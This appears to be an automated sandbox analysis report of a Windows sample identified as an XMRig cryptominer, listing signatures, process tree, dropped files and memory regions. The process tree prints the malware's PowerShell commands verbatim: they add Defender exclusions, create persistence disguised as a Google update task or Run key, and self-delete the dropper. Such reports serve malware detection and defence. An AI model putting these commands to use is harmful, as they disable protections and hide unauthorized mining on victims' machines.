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25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1800s
  • max time network
    1786s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
  • Size 2.0MB
  • Sample240123-x59d7agbd6
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3444
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1920
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3664
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3584
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2864
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:4544
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\JqLvG94UkYjhxAeg.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1328
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:3924
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:548
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3144
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1548
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              3⤵
              • Drops file in Program Files directory
              PID:4340
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:3176
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:812
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              • Suspicious use of WriteProcessMemory
              PID:316
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic PATH Win32_VideoController GET Name, VideoProcessor
                3⤵
                • Detects videocard installed
                PID:4048

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 863KB
                • SHA256 df27b9cb2ec66bae9aed2843305c028cb3395e487d31552ff86b1e7cb2b279a0
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 2.0MB
                • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 5577e59196c0c57fd3a9c9427d82f752660103888c916f2957fa975e14f5439d
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_yatgoewo.c4k.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yatgoewo.c4k.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/548-82-0x0000023963A20000-0x0000023963A26000-memory.dmp

                memory/548-79-0x00000239635A0000-0x00000239635AA000-memory.dmp

                memory/548-75-0x000002394AF00000-0x000002394AF10000-memory.dmp

                memory/548-87-0x00007FF87D5E0000-0x00007FF87E0A1000-memory.dmp

                memory/548-84-0x000002394AF00000-0x000002394AF10000-memory.dmp

                memory/548-77-0x0000023963590000-0x000002396359A000-memory.dmp

                memory/548-81-0x0000023963A10000-0x0000023963A18000-memory.dmp

                memory/548-80-0x0000023963A50000-0x0000023963A6A000-memory.dmp

                memory/548-76-0x0000023963810000-0x00000239638C5000-memory.dmp

                memory/548-83-0x0000023963A70000-0x0000023963A7A000-memory.dmp

                memory/548-74-0x00000239637F0000-0x000002396380C000-memory.dmp

                memory/548-78-0x0000023963A30000-0x0000023963A4C000-memory.dmp

                memory/548-54-0x000002394AF00000-0x000002394AF10000-memory.dmp

                memory/548-53-0x00007FF87D5E0000-0x00007FF87E0A1000-memory.dmp

                memory/548-55-0x000002394AF00000-0x000002394AF10000-memory.dmp

                memory/812-52-0x00007FF700210000-0x00007FF700421000-memory.dmp

                memory/812-122-0x00007FF700210000-0x00007FF700421000-memory.dmp

                memory/1548-133-0x00007FF7E1990000-0x00007FF7E19A6000-memory.dmp

                memory/1548-126-0x00007FF7E1990000-0x00007FF7E19A6000-memory.dmp

                memory/1920-0-0x00007FF7D00B0000-0x00007FF7D02C1000-memory.dmp

                memory/1920-35-0x00007FF7D00B0000-0x00007FF7D02C1000-memory.dmp

                memory/2864-51-0x00007FF87D5E0000-0x00007FF87E0A1000-memory.dmp

                memory/2864-47-0x0000013CCB550000-0x0000013CCB560000-memory.dmp

                memory/2864-46-0x0000013CCB550000-0x0000013CCB560000-memory.dmp

                memory/2864-45-0x00007FF87D5E0000-0x00007FF87E0A1000-memory.dmp

                memory/3144-113-0x000002A7B3D70000-0x000002A7B3D80000-memory.dmp

                memory/3144-98-0x00007FF87D5E0000-0x00007FF87E0A1000-memory.dmp

                memory/3144-115-0x00007FF87D5E0000-0x00007FF87E0A1000-memory.dmp

                memory/3144-112-0x000002A7B3D70000-0x000002A7B3D80000-memory.dmp

                memory/3144-100-0x000002A7B3D70000-0x000002A7B3D80000-memory.dmp

                memory/3144-109-0x00007FF47A330000-0x00007FF47A340000-memory.dmp

                memory/3144-99-0x000002A7B3D70000-0x000002A7B3D80000-memory.dmp

                memory/3176-162-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-142-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-188-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-186-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-184-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-182-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-180-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-178-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-124-0x00000258CDDE0000-0x00000258CDE00000-memory.dmp

                memory/3176-123-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-125-0x00000258CDF50000-0x00000258CDF70000-memory.dmp

                memory/3176-176-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-127-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-128-0x00000258CDF70000-0x00000258CDF90000-memory.dmp

                memory/3176-129-0x00000258CDF90000-0x00000258CDFB0000-memory.dmp

                memory/3176-131-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-132-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-174-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-134-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-135-0x00000258CDF70000-0x00000258CDF90000-memory.dmp

                memory/3176-137-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-138-0x00000258CDF90000-0x00000258CDFB0000-memory.dmp

                memory/3176-140-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-172-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-144-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-146-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-148-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-150-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-152-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-154-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-156-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-158-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-160-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-170-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-164-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-166-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3176-168-0x00007FF621BA0000-0x00007FF622394000-memory.dmp

                memory/3584-33-0x00007FF87D5E0000-0x00007FF87E0A1000-memory.dmp

                memory/3584-30-0x000001E1F8D80000-0x000001E1F8D90000-memory.dmp

                memory/3584-31-0x000001E1F8D80000-0x000001E1F8D90000-memory.dmp

                memory/3584-27-0x00007FF87D5E0000-0x00007FF87E0A1000-memory.dmp

                memory/3584-29-0x000001E1F8D80000-0x000001E1F8D90000-memory.dmp

                memory/3664-6-0x000002796D2D0000-0x000002796D2F2000-memory.dmp

                memory/3664-11-0x00007FF87D5E0000-0x00007FF87E0A1000-memory.dmp

                memory/3664-12-0x000002796D840000-0x000002796D850000-memory.dmp

                memory/3664-13-0x000002796D840000-0x000002796D850000-memory.dmp

                memory/3664-16-0x00007FF87D5E0000-0x00007FF87E0A1000-memory.dmp